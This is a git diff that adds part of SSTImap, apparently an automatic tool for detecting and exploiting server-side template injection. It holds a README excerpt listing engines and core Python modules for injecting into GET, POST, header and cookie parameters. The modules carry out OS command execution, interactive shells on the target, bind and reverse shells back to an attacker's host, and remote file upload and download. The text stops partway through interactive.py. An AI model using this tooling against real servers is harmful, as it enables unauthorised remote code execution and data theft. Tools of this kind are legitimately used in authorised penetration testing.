+|--------------------------------|-----|-------|-----------------|-----------|------------| +| Mako | ✓ | ✓ | Python | ✓ | ✓ | +| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ | +| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ | +| Tornado | ✓ | ✓ | Python | ✓ | ✓ | +| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ | +| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ | +| doT | ✓ | ✓ | JavaScript | ✓ | ✓ | +| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ | +| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ | +| Dust (<= dustjs-helpers@1.5.0) | ✓ | ✓ | JavaScript | ✓ | ✓ | +| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ | +| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ | +| Slim | ✓ | ✓ | Ruby | ✓ | ✓ | +| ERB | ✓ | ✓ | Ruby | ✓ | ✓ | +| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ | +| Smarty (secured) | ✓ | ✓ | PHP | ✓ | ✓ | +| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ | +| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ | +| Freemarker | ✓ | ✓ | Java | ✓ | ✓ | +| Velocity | ✓ | ✓ | Java | ✓ | ✓ | +| Twig (>1.19) | × | × | × | × | × | +| Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × | + + +Burp Suite Plugin +----------------- + +Currently, Burp Suite only works with Jython as a way to execute python2. Python3 functionality is not provided. + +Future plans +------------ + +If you plan to contribute something big from this list, inform me to avoid working on the same thing as me or other contributors. + +- [ ] Make template and base language evaluation functionality more uniform +- [ ] Add more payloads for different engines +- [ ] Short arguments as interactive commands? +- [ ] Automatic languages and engines import +- [ ] Engine plugins as objects of _Plugin_ class? +- [ ] JSON/plaintext API modes for scripting integrations? +- [ ] Argument to remove escape codes? + +[1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html +[2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/ +[3]: https://github.com/epinna/tplmap/issues/9 +[4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine +[5]: http://blog.portswigger.net/2015/08/server-side-template-injection.html +[6]: http://flask.pocoo.org/ +[7]: http://jinja.pocoo.org/ diff --git a/config.json b/config.json new file mode 100644 index 0000000..9cead5f --- /dev/null +++ b/config.json @@ -0,0 +1,5 @@ +{ + "base_path": "~/.sstimap/", + "log_response": false, + "time_based_blind_delay": 4 +} diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/channel.py b/core/channel.py new file mode 100644 index 0000000..fd7bb52 --- /dev/null +++ b/core/channel.py @@ -0,0 +1,185 @@ +import requests +import urllib3 +from utils.loggers import log +from urllib import parse +from copy import deepcopy +import utils.config +from utils.random_agent import get_agent + + +class Channel: + def __init__(self, args): + self.args = args + self.url = self.args.get('url').replace('#', '%23').replace('\\n', '%0A') + self.base_url = self.url.split("?")[0] if '?' in self.url else self.url + self.tag = self.args.get('marker') + self.data = {} + self.injs = [] + self.inj_idx = 0 + proxy = self.args.get('proxy') + if proxy: + self.proxies = {'http': proxy, 'https': proxy} + else: + self.proxies = {} + self.get_params = {} + self.post_params = {} + self.header_params = {} + self._parse_url() + self._parse_cookies() + self._parse_get() + self._parse_post() + self._parse_header() + if not self.injs: + self._parse_get(all_injectable=True) + self._parse_post(all_injectable=True) + self._parse_header(all_injectable=True) + self._parse_method() + if not self.args.get('verify_ssl'): + urllib3.disable_warnings() + + def _parse_method(self): + if self.args.get('method'): + self.http_method = self.args.get('method') + elif self.post_params: + self.http_method = 'POST' + else: + self.http_method = 'GET' + + def _parse_url(self): + url_path = parse.urlparse(self.url).path + if self.tag not in url_path: + return + url_path_base_index = self.url.find(url_path) + for index in [i for i in range(url_path_base_index, url_path_base_index + len(url_path)) + if self.url[i] == self.tag]: + self.injs.append({'field': 'URL', 'param': 'url', 'position': url_path_base_index + index}) + + def _parse_cookies(self): + # Just add cookies as headers, to avoid duplicating + # the parsing code. Concatenate to avoid headers with + # the same key. + cookies = self.args.get('cookies', []) + if cookies: + cookie_string = f"Cookie: {';'.join(cookies)}" + if not self.args.get('headers'): + self.args['headers'] = [] + self.args['headers'].append(cookie_string) + + def _parse_header(self, all_injectable=False): + for param_value in self.args.get('headers', []): + if ':' not in param_value: + continue + param, value = param_value.split(':', 1) + param = param.strip() + value = value.strip() + self.header_params[param] = value + if self.tag in param: + self.injs.append({'field': 'Header', 'part': 'param', 'param': param}) + if self.tag in value or all_injectable: + self.injs.append({'field': 'Header', 'part': 'value', 'value': value, 'param': param}) + if self.args.get('random_agent'): + user_agent = get_agent() + else: + user_agent = self.args.get('user_agent') + if 'user-agent' not in [p.lower() for p in self.header_params.keys()]: + self.header_params['User-Agent'] = user_agent + + def _parse_post(self, all_injectable=False): + if self.args.get('data'): + params_dict_list = parse.parse_qs(self.args.get('data'), keep_blank_values=True) + for param, value_list in params_dict_list.items(): + self.post_params[param] = value_list + if self.tag in param: + self.injs.append({'field': 'POST', 'part': 'param', 'param': param}) + for idx, value in enumerate(value_list): + if self.tag in value or all_injectable: + self.injs.append({'field': 'POST', 'part': 'value', 'value': value, 'param': param, 'idx': idx}) + + def _parse_get(self, all_injectable=False): + params_dict_list = parse.parse_qs(parse.urlsplit(self.url).query, keep_blank_values=True) + for param, value_list in params_dict_list.items(): + self.get_params[param] = value_list + if self.tag in param: + self.injs.append({'field': 'GET', 'part': 'param', 'param': param}) + for idx, value in enumerate(value_list): + if self.tag in value or all_injectable: + self.injs.append({'field': 'GET', 'part': 'value', 'param': param, 'value': value, 'idx': idx}) + + def req(self, injection): + get_params = deepcopy(self.get_params) + post_params = deepcopy(self.post_params) + header_params = deepcopy(self.header_params) + url_params = self.base_url + inj = deepcopy(self.injs[self.inj_idx]) + if inj['field'] == 'URL': + position = inj['position'] + url_params = self.base_url[:position] + injection + self.base_url[position+1:] + elif inj['field'] == 'POST': + if inj.get('part') == 'param': + old_value = post_params[inj.get('param')] + del post_params[inj.get('param')] + if self.tag in inj.get('param'): + new_param = inj.get('param').replace(self.tag, injection) + else: + new_param = injection + post_params[new_param] = old_value + if inj.get('part') == 'value': + if self.tag in post_params[inj.get('param')][inj.get('idx')]: + post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) + else: + post_params[inj.get('param')][inj.get('idx')] = injection + elif inj['field'] == 'GET': + if inj.get('part') == 'param': + old_value = get_params[inj.get('param')] + del get_params[inj.get('param')] + if self.tag in inj.get('param'): + new_param = inj.get('param').replace(self.tag, injection) + else: + new_param = injection + get_params[new_param] = old_value + if inj.get('part') == 'value': + if self.tag in get_params[inj.get('param')][inj.get('idx')]: + get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection) + else: + get_params[inj.get('param')][inj.get('idx')] = injection + elif inj['field'] == 'Header': + injection = injection.replace('\n', '').replace('\r', '') + if inj.get('part') == 'param': + old_value = get_params[inj.get('param')] + del header_params[inj.get('param')] + if self.tag in inj.get('param'): + new_param = inj.get('param').replace(self.tag, injection) + else: + new_param = injection + header_params[new_param] = old_value + if inj.get('part') == 'value': + if self.tag in header_params[inj.get('param')]: + header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection) + else: + header_params[inj.get('param')] = injection + if self.tag in self.base_url: + log.debug(f'[URL] {url_params}') + if get_params: + log.debug(f'[GET] {get_params}') + if post_params: + log.debug(f'[POST] {post_params}') + if len(header_params) > 1: + log.debug(f'[HEDR] {header_params}') + try: + result = requests.request(method=self.http_method, url=url_params, params=get_params, data=post_params, + headers=header_params, proxies=self.proxies, verify=self.args.get('verify_ssl')).text + except requests.exceptions.ConnectionError as e: + if e and e.args[0] and e.args[0].args[0] == 'Connection aborted.': + log.log(25, 'Error: connection aborted, bad status line.') + result = "" + elif e and e.args[0] and 'Max retries exceeded' in e.args[0].args[0]: + log.log(25, 'Error: max retries exceeded for a connection.') + result = "" + else: + raise + if utils.config.log_response: + log.debug(f"< {result}") + return result + + def detected(self, technique, detail): + pass diff --git a/core/checks.py b/core/checks.py new file mode 100644 index 0000000..aab6fa2 --- /dev/null +++ b/core/checks.py @@ -0,0 +1,246 @@ +from plugins.engines.mako import Mako +from plugins.engines.jinja2 import Jinja2 +from plugins.engines.twig import Twig +from plugins.engines.freemarker import Freemarker +from plugins.engines.velocity import Velocity +from plugins.engines.pug import Pug +from plugins.engines.nunjucks import Nunjucks +from plugins.engines.dust import Dust +from plugins.engines.dot import Dot +from plugins.engines.tornado import Tornado +from plugins.engines.marko import Marko +from plugins.engines.slim import Slim +from plugins.engines.erb import Erb +from plugins.engines.ejs import Ejs +from plugins.engines.smarty import Smarty +from plugins.languages.javascript import Javascript +from plugins.languages.php import Php +from plugins.languages.python import Python +from plugins.languages.ruby import Ruby +from plugins.legacy_engines.smarty_unsecure import Smarty_unsecure +from utils.loggers import log +from core.clis import Shell, MultilineShell +from core.tcpserver import TcpServer +import telnetlib +from urllib import parse +import socket + + +def plugins(legacy=False): + plugin_list = [] + if legacy: + plugin_list.extend([ + Smarty_unsecure, + ]) + plugin_list.extend([ + Smarty, + Mako, + Python, + Tornado, + Jinja2, + Twig, + Freemarker, + Velocity, + Slim, + Erb, + Pug, + Nunjucks, + Dot, + Dust, + Marko, + Javascript, + Php, + Ruby, + Ejs + ]) + return plugin_list + + +def print_injection_summary(channel): + prefix = channel.data.get('prefix', '').replace('\n', '\\n') + render = channel.data.get('render', '{code}').replace('\n', '\\n').format(code='*') + suffix = channel.data.get('suffix', '').replace('\n', '\\n') + if channel.data.get('evaluate_blind'): + evaluation = f"\033[92mok\033[0m, {channel.data.get('language')} code (blind)" + elif channel.data.get('evaluate'): + evaluation = f"\033[92mok\033[0m, {channel.data.get('language')} code" + else: + evaluation = '\033[91mno\033[0m' + if channel.data.get('execute_blind'): + execution = '\033[92mok\033[0m (blind)' + elif channel.data.get('execute'): + execution = '\033[92mok\033[0m' + else: + execution = '\033[91mno\033[0m' + if channel.data.get('write'): + if channel.data.get('blind'): + writing = '\033[92mok\033[0m (blind)' + else: + writing = '\033[92mok\033[0m' + else: + writing = '\033[91mno\033[0m' + log.log(21, f"""SSTImap identified the following injection point: + + {channel.injs[channel.inj_idx]['field']} parameter: {channel.injs[channel.inj_idx]['param']} + Engine: {channel.data.get('engine').capitalize()} + Injection: {prefix}{render}{suffix} + Context: {'text' if (not prefix and not suffix) else 'code'} + OS: {channel.data.get('os', 'undetected')} + Technique: {'blind' if channel.data.get('blind') else 'render'} + Capabilities: + + Shell command execution: {execution} + Bind and reverse shell: {f'{chr(27)}[91mno{chr(27)}[0m' if not channel.data.get('bind_shell') else f'{chr(27)}[92mok{chr(27)}[0m'} + File write: {writing} + File read: {f'{chr(27)}[91mno{chr(27)}[0m' if not channel.data.get('read') else f'{chr(27)}[92mok{chr(27)}[0m'} + Code evaluation: {evaluation} +""") + + +def detect_template_injection(channel): + for i in range(len(channel.injs)): + log.log(23, f"Testing if {channel.injs[channel.inj_idx]['field']} parameter '{channel.injs[channel.inj_idx]['param']}' is injectable") + for plugin in plugins(channel.args.get('legacy')): + current_plugin = plugin(channel) + if channel.args.get('engine') and channel.args.get('engine').lower() != current_plugin.plugin.lower(): + continue + current_plugin.detect() + if channel.data.get('engine'): + return current_plugin + channel.inj_idx += 1 + + +def check_template_injection(channel): + current_plugin = detect_template_injection(channel) + if not channel.data.get('engine'): + log.log(22, "Tested parameters appear to be not injectable.") + return current_plugin + print_injection_summary(channel) + if not any(f for f, v in channel.args.items() if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', + 'tpl_code', 'bind_shell', 'reverse_shell', 'eval_shell', + 'eval_code', 'interactive') and v): + log.log(21, f"""Rerun SSTImap providing one of the following options:{''' + --os-shell Prompt for an interactive operating system shell + --os-cmd Execute an operating system command.''' if channel.data.get('execute') or channel.data.get('execute_blind') else ''}{''' + --eval-shell Prompt for an interactive shell on the template engine base language. + --eval-cmd Evaluate code in the template engine base language.''' if channel.data.get('evaluate') or channel.data.get('evaluate_blind') else ''}{''' + --tpl-shell Prompt for an interactive shell on the template engine. + --tpl-cmd Inject code in the template engine.''' if channel.data.get('engine') else ''}{''' + --bind-shell PORT Connect to a shell bind to a target port''' if channel.data.get('bind_shell') else ''}{''' + --reverse-shell HOST PORT Send a shell back to the attacker's port''' if channel.data.get('reverse_shell') else ''}{''' + --upload LOCAL REMOTE Upload files to the server''' if channel.data.get('write') else ''}{''' + --download REMOTE LOCAL Download remote files''' if channel.data.get('read') else ''}""") + return current_plugin + # Execute operating system commands + if channel.args.get('os_cmd') or channel.args.get('os_shell'): + if channel.data.get('execute_blind'): + log.log(23, """Blind injection has been found and command execution will not produce any output.""") + log.log(26, 'Delay is introduced appending \'&& sleep \' to the shell commands. ' + 'True or False is returned whether it returns successfully or not.') + if channel.args.get('os_cmd'): + print(current_plugin.execute_blind(channel.args.get('os_cmd'))) + elif channel.args.get('os_shell'): + log.log(21, 'Run commands on the operating system.') + Shell(current_plugin.execute_blind, f"{channel.data.get('os', 'undetected')} (blind) $ ").cmdloop() + elif channel.data.get('execute'): + if channel.args.get('os_cmd'): + print(current_plugin.execute(channel.args.get('os_cmd'))) + elif channel.args.get('os_shell'): + log.log(21, 'Run commands on the operating system.') + Shell(current_plugin.execute, f"{channel.data.get('os', 'undetected')} $ ").cmdloop() + else: + log.log(22, 'No system command execution capabilities have been detected on the target.') + # Execute template commands + if channel.args.get('tpl_code') or channel.args.get('tpl_shell'): + if channel.data.get('engine'): + if channel.data.get('blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected template code will not produce any output.') + call = current_plugin.inject + else: + call = current_plugin.render + if channel.args.get('tpl_code'): + print(call(channel.args.get('tpl_code'))) + elif channel.args.get('tpl_shell'): + log.log(21, 'Inject multi-line template code. ' + 'Press ctrl-D or type \'EOF\' on a new line to send the lines') + MultilineShell(call, f"{channel.data.get('engine', '')} > ").cmdloop() + else: + log.log(22, 'No template code evaluation capabilities have been detected on the target') + # Execute language commands + if channel.args.get('eval_code') or channel.args.get('eval_shell'): + if channel.data.get('evaluate_blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected code will not produce any output.') + if channel.args.get('eval_code'): + print(current_plugin.evaluate_blind(channel.args.get('eval_code'))) + elif channel.args.get('eval_shell'): + log.log(21, 'Evaluate multi-line template base language code. ' + 'Press ctrl-D or type \'EOF\' on a new line to send the lines') + MultilineShell(current_plugin.evaluate_blind, f"{channel.data.get('language', '')} > ").cmdloop() + elif channel.data.get('evaluate'): + if channel.args.get('eval_code'): + print(current_plugin.evaluate(channel.args.get('eval_code'))) + elif channel.args.get('eval_shell'): + log.log(21, 'Evaluate multi-line template base language code. ' + 'Press ctrl-D or type \'EOF\' on a new line to send the lines') + MultilineShell(current_plugin.evaluate, f"{channel.data.get('language', '')} > ").cmdloop() + else: + log.log(22, 'No language code evaluation capabilities have been detected on the target') + # Perform file upload + local_remote_paths = channel.args.get('upload') + if local_remote_paths: + if channel.data.get('write'): + local_path, remote_path = local_remote_paths + with open(local_path, 'rb') as f: + data = f.read() + current_plugin.write(data, remote_path) + else: + log.log(22, 'No file upload capabilities have been detected on the target') + # Perform file read + remote_local_paths = channel.args.get('download') + if remote_local_paths: + if channel.data.get('read'): + remote_path, local_path = remote_local_paths + content = current_plugin.read(remote_path) + with open(local_path, 'wb') as f: + f.write(content) + else: + log.log(22, 'No file download capabilities have been detected on the target') + # Connect to tcp shell + bind_shell_port = channel.args.get('bind_shell') + if bind_shell_port: + if channel.data.get('bind_shell'): + urlparsed = parse.urlparse(channel.base_url) + if not urlparsed.hostname: + log.log(22, "Error parsing hostname") + return current_plugin + for idx, thread in enumerate(current_plugin.bind_shell(bind_shell_port)): + log.log(26, f'Spawn a shell on remote port {bind_shell_port} with payload {idx+1}') + thread.join(timeout=1) + if not thread.is_alive(): + continue + try: + telnetlib.Telnet(urlparsed.hostname.decode(), bind_shell_port, timeout=5).interact() + # If telnetlib does not rise an exception, we can assume that + # ended correctly and return from `run()` + return current_plugin + except Exception as e: + log.debug(f"Error connecting to {urlparsed.hostname}:{bind_shell_port} {e}") + else: + log.log(22, 'No TCP shell opening capabilities have been detected on the target') + # Accept reverse tcp connections + reverse_shell_host_port = channel.args.get('reverse_shell') + if reverse_shell_host_port: + host, port = reverse_shell_host_port + timeout = 15 + if channel.data.get('reverse_shell'): + current_plugin.reverse_shell(host, port) + # Run tcp server + try: + TcpServer(int(port), timeout) + except socket.timeout: + log.log(22, f"No incoming TCP shells after {timeout}s, quitting.") + else: + log.log(22, 'No reverse TCP shell capabilities have been detected on the target') + return current_plugin diff --git a/core/clis.py b/core/clis.py new file mode 100644 index 0000000..0d9b8d8 --- /dev/null +++ b/core/clis.py @@ -0,0 +1,52 @@ +import cmd + + +class Shell(cmd.Cmd): + """Interactive shell.""" + def __init__(self, inject_function, prompt): + cmd.Cmd.__init__(self) + self.inject_function = inject_function + self.prompt = prompt + + def default(self, line): + print(self.inject_function(line)) + + def emptyline(self): + pass + + +class MultilineShell(cmd.Cmd): + """Interactive multiline shell.""" + def __init__(self, inject_function, prompt): + cmd.Cmd.__init__(self) + + self.inject_function = inject_function + self.fixed_prompt = prompt + + self.lines = [] + + self._format_prompt() + + def _format_prompt(self): + self.prompt = f'[{len(self.lines)}] {self.fixed_prompt}' + + def postcmd(self, stop, line): + self._format_prompt() + return stop + + def default(self, line): + self.lines.append(line) + + def emptyline(self): + # Do not save empty line if there is nothing to send + if not self.lines: + return + + def do_EOF(self, line): + # Run the inject function and reset the state + # Send the current line as well + if line: + self.lines.append(line) + print('') + print(self.inject_function('\n'.join(self.lines))) + self.lines = [] diff --git a/core/interactive.py b/core/interactive.py new file mode 100644 index 0000000..7559794 --- /dev/null +++ b/core/interactive.py @@ -0,0 +1,576 @@ +import cmd +from utils.loggers import log +from urllib import parse +from core import checks +from core.channel import Channel +from core.clis import Shell, MultilineShell +from core.tcpserver import TcpServer +import telnetlib +import socket + + +class InteractiveShell(cmd.Cmd): + """Interactive mode shell.""" + def __init__(self, args): + cmd.Cmd.__init__(self) + self.prompt = f"SSTImap> " + self.sstimap_options = args + self.sstimap_options.update({"tpl_shell": False, "tpl_cmd": None, "os_shell": False, "os_cmd": None, + "bind_shell": None, "reverse_shell": None, "upload": None, "download": None, + "eval_shell": False, "eval_cmd": None}) + if self.sstimap_options["url"]: + self.do_url(args.get("url")) + self.channel = Channel(self.sstimap_options) + self.current_plugin = None + self.checked = False + + def set_module(self, module): + self.prompt = f"SSTImap{f' ({module})' if module else ''}> " + + def default(self, line): + log.log(22, f'Invalid interactive command: {line.split(" ", 1)[0].lower()}. ' + f'Type \'help\' to see available commands.') + + def emptyline(self): + pass + +# Information commands + + def do_help(self, line): + log.log(23, """SSTImap is an automatic SSTI detection and exploitation tool with predetermined and interactive modes. + +Information: + ?, help Show this help message + version Print SSTImap version + opt, options Display current SSTImap options + info Show information about detection results + +Target: + url, target [URL] Set target URL (e.g. 'https://example.com/?name=test') + run, test, check Run SSTI detection on the target + +Request: + mark, marker [MARKER] Set string as injection marker (default '*') + data, post {rm} [DATA] Add POST data param to send (e.g. 'param=value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows params list + header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows headers list + cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, shows cookies list + method, http_method [METHOD] Set HTTP method to use (default 'GET') + agent, user_agent [AGENT] Set User-Agent header value to use + random, random_agent Toggle using random User-Agent header value from a list of desktop browsers on every attempt + proxy [PROXY] Use a proxy to connect to the target URL + ssl, verify_ssl Toggle verifying SSL certificates (not verified by default) + +Detection: + lvl, level [LEVEL] Set level of escaping to perform (1-5, Default: 1) + force, force_level [LEVEL] [CLEVEL] Force a LEVEL and CLEVEL to test + engine [ENGINE] Check only this backend template engine. For all, use '*' + technique [TECHNIQUE] Use techniques R(endered) T(ime-based blind). Default: RT + legacy Toggle including old payloads, that no longer work with newer versions of the engines + +Exploitation: + tpl, tpl_shell Prompt for an interactive shell on the template engine + tpl_code [CODE] Inject code in the template engine + eval, eval_shell Prompt for an interactive shell on the template engine base language + eval_code [CODE] Evaluate code in the template engine base language + !, os, shell, os_shell Prompt for an interactive operating system shell + os_cmd [COMMAND] Execute an operating system command + bind, bind_shell [PORT] Spawn a system shell on a TCP PORT of the target and connect to it + reverse, reverse_shell [HOST] [PORT] Run a system shell and back-connect to local HOST PORT + overwrite, force_overwrite Toggle file overwrite when uploading + up, upload [LOCAL] [REMOTE] Upload LOCAL to REMOTE files + down, download [REMOTE] [LOCAL] Download REMOTE to LOCAL files""") + + def do_version(self, line): + """Show current SSTImap version""" + log.log(23, f'Current SSTImap version: {self.sstimap_options["version"]}') + + def do_options(self, line): + """Show current SSTImap options""" + log.log(23, f'Current SSTImap {self.sstimap_options["version"]} interactive mode options:') + if not self.sstimap_options["url"]: + log.log(25, f'URL is not set.') + else: + log.log(26, f'URL: {self.sstimap_options["url"]}') + log.log(26, f'Injection marker: {self.sstimap_options["marker"]}') + if self.sstimap_options["data"]: + data = "\n ".join(self.sstimap_options["data"]) + log.log(26, f'POST data:\n {data}') + if self.sstimap_options["headers"]: + headers = "\n ".join(self.sstimap_options["headers"]) + log.log(26, f'HTTP headers:\n {headers}') + if self.sstimap_options["cookies"]: + cookies = "\n ".join(self.sstimap_options["cookies"]) + log.log(26, f'Cookies:\n {cookies}') + log.log(26, f'HTTP method: {self.sstimap_options["method"]}') + if self.sstimap_options["random_agent"]: + log.log(26, 'User-Agent is randomised') + else: + log.log(26, f'User-Agent: {self.sstimap_options["user_agent"]}') + if self.sstimap_options["proxy"]: + log.log(26, f'Proxy: {self.sstimap_options["proxy"]}') + log.log(26, f'Verify SSL: {self.sstimap_options["verify_ssl"]}') + if self.sstimap_options["force_level"]: + log.log(26, f'Forced level: {self.sstimap_options["force_level"][0]}') + log.log(26, f'Forced context level: {self.sstimap_options["force_level"][1]}') + else: + log.log(26, f'Level: {self.sstimap_options["level"]}') + log.log(26, f'Engine: {self.sstimap_options["engine"] if self.sstimap_options["engine"] else "*"}' + f'{"+" if not self.sstimap_options["engine"] and self.sstimap_options["legacy"] else ""}') + log.log(26, f'Attack technique: {self.sstimap_options["technique"]}') + log.log(26, f'Force overwrite files: {self.sstimap_options["force_overwrite"]}') + + do_opt = do_options + + def do_info(self, line): + """Show information about the capabilities of a detected SSTI""" + if not self.checked: + log.log(25, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + checks.print_injection_summary(self.channel) + +# Target commands + + def do_url(self, line): + """Set target URL""" + if line == '': + log.log(22, 'Target URL cannot be empty.') + return + url = parse.urlparse(line) + if url.netloc == '': + log.log(22, 'Unable to parse target URL.') + return + log.log(24, f'Target URL is set to {line}') + self.sstimap_options["url"] = line + self.set_module(f'\033[31m{url.netloc}\033[0m') + self.checked = False + + do_target = do_url + + def do_run(self, line): + """Check target URL for SSTI vulnerabilities""" + if not self.sstimap_options["url"]: + log.log(22, 'Target URL cannot be empty.') + return + try: + self.channel = Channel(self.sstimap_options) + self.current_plugin = checks.check_template_injection(self.channel) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting SSTI detection') + self.checked = True + + do_check = do_run + do_test = do_run + +# Request commands + + def do_marker(self, line): + """Set injection marker""" + if line == '': + log.log(22, 'Marker can\'t be empty.') + return + log.log(24, f'Marker is set to {line}') + self.sstimap_options["marker"] = line + + do_mark = do_marker + + def do_data(self, line): + """Modify POST data""" + if line == "": + log.log(24, f'Clearing all POST data...') + self.sstimap_options["data"] = [] + return + command = line.split(" ", 1) + if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "": + log.log(24, f'Removing data starting with {command[1]}:') + for data in self.sstimap_options["data"].copy(): + if data.startswith(command[1]): + log.log(26, f'Removing: {data}') + self.sstimap_options["data"].remove(data) + else: + log.log(24, f'Adding POST data: {line}') + self.sstimap_options["data"].append(line) + + do_post = do_data + + def do_header(self, line): + """Modify HTTP headers""" + if line == "": + log.log(24, f'Clearing all HTTP headers...') + self.sstimap_options["headers"] = [] + return + command = line.split(" ", 1) + if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "": + log.log(24, f'Removing HTTP headers starting with {command[1]}:') + for header in self.sstimap_options["headers"].copy(): + if header.startswith(command[1]): + log.log(26, f'Removing: {header}') + self.sstimap_options["headers"].remove(header) + else: + log.log(24, f'Adding HTTP header: {line}') + self.sstimap_options["headers"].append(line) + + do_headers = do_header + + def do_cookie(self, line): + """Modify cookies""" + if line == "": + log.log(24, f'Clearing all cookies...') + self.sstimap_options["cookies"] = [] + return + command = line.split(" ", 1) + if (command[0] == "remove" or command[0] == "rm") and len(command) == 2 and command[1] != "": + log.log(24, f'Removing cookies starting with {command[1]}:') + for cookie in self.sstimap_options["cookies"].copy(): + if cookie.startswith(command[1]): + log.log(26, f'Removing: {cookie}') + self.sstimap_options["cookies"].remove(cookie) + else: + log.log(24, f'Adding cookie: {line}') + self.sstimap_options["cookies"].append(line) + + do_cookies = do_cookie + + def do_http_method(self, line): + """Set HTTP method""" + if line == '': + log.log(22, 'HTTP method cannot be empty.') + return + line = line.upper() + log.log(24, f'HTTP method is set to {line}') + self.sstimap_options["method"] = line + + do_method = do_http_method + + def do_user_agent(self, line): + """Set User-Agent""" + if line == '': + log.log(22, 'User-Agent cannot be empty.') + return + log.log(24, f'User-Agent is set to {line}') + self.sstimap_options["user_agent"] = line + + do_agent = do_user_agent + + def do_random_agent(self, line): + """Switch random_user_agent option""" + overwrite = not self.sstimap_options["random_agent"] + log.log(24, f'Value of \'random_user_agent\' is set to {overwrite}') + self.sstimap_options["random_agent"] = overwrite + + do_random = do_random_agent + + def do_proxy(self, line): + """Use proxy""" + if line == "": + log.log(24, f'Disabling proxy...') + self.sstimap_options["proxy"] = None + return + log.log(24, f'Setting proxy to {line}') + self.sstimap_options["proxy"] = line + + def do_verify_ssl(self, line): + """Switch verify_ssl option""" + overwrite = not self.sstimap_options["verify_ssl"] + log.log(24, f'Value of \'verify_ssl\' is set to {overwrite}') + self.sstimap_options["verify_ssl"] = overwrite + + do_ssl = do_verify_ssl + +# Detection commands + + def do_level(self, line): + """Set LEVEL to check for escapes""" + if line == '' or not line.isnumeric() or len(line) > 1: + log.log(22, 'Invalid LEVEL value.') + return + level = int(line) + log.log(24, f'Escaping level is set to {level}') + self.sstimap_options["level"] = level + + do_lvl = do_level + + def do_force_level(self, line): + """Force LEVEL and CLEVEL to check""" + if line == "": + log.log(24, f'Disabling forced template escaping level and language context level') + self.sstimap_options["force_level"] = None + return + line = line.split(" ") + if len(line) != 2 or not line[0].isnumeric() or len(line[0]) > 1 or not line[1].isnumeric() or len(line[1]) > 1: + log.log(22, 'Invalid LEVEL or CLEVEL value.') + return + force_level = (int(line[0]), int(line[1]),) + log.log(24, f'Forcing template escaping level {force_level[0]} and language context level {force_level[1]}') + self.sstimap_options["force_level"] = force_level + + do_force = do_force_level + + def do_engine(self, line): + """Set template ENGINE to check""" + if line.lower() in ['', '*', 'all']: + line = None + log.log(24, f'Template engine is set to {line if line else "*"}') + self.sstimap_options["engine"] = line + + def do_technique(self, line): + """Set attack TECHNIQUE to check""" + line = line.upper() + if line not in ["R", "T", "RT", "TR"]: + log.log(22, 'Invalid TECHNIQUE value. It should be \'R\', \'T\' or \'RT\'.') + return + log.log(24, f'Attack technique is set to {line}') + self.sstimap_options["technique"] = line + + def do_legacy(self, line): + """Switch legacy option""" + overwrite = not self.sstimap_options["legacy"] + log.log(24, f'Value of \'legacy\' is set to {overwrite}') + self.sstimap_options["legacy"] = overwrite + +# Exploitation commands + + def do_tpl_shell(self, line): + """Provide interactive multi-line template shell""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if self.channel.data.get('engine'): + if self.channel.data.get('blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected template code will not produce any output.') + call = self.current_plugin.inject + else: + call = self.current_plugin.render + log.log(21, 'Inject multi-line template code. Press ctrl-D or type \'EOF\' on a new line to send the lines') + try: + MultilineShell(call, f"{self.channel.data.get('engine', '')} > ").cmdloop() + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting template shell') + else: + log.log(22, 'No code evaluation capabilities have been detected on the target') + + do_tpl = do_tpl_shell + + def do_tpl_code(self, line): + """Evaluate single template command""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if line == '': + log.log(22, 'Template command cannot be empty.') + return + if self.channel.data.get('engine'): + if self.channel.data.get('blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected template code will not produce any output.') + call = self.current_plugin.inject + else: + call = self.current_plugin.render + try: + print(call(line)) + except (KeyboardInterrupt, EOFError): + log.log(26, 'Exiting template command execution') + else: + log.log(22, 'No template code evaluation capabilities have been detected on the target') + + def do_eval_shell(self, line): + """Provide interactive multi-line template base language shell""" + if not self.checked: + log.log(22, 'Target URL was not checked for SSTI. Use \'run\' or \'check\' first.') + return + if self.channel.data.get('evaluate_blind'): + log.log(23, 'Only blind execution has been found. ' + 'Injected template code will not produce any output.') + log.log(21, 'Inject multi-line template base language code. ' + 'Press ctrl-D or type \'EOF\' on a new line to send the lines') + try: + 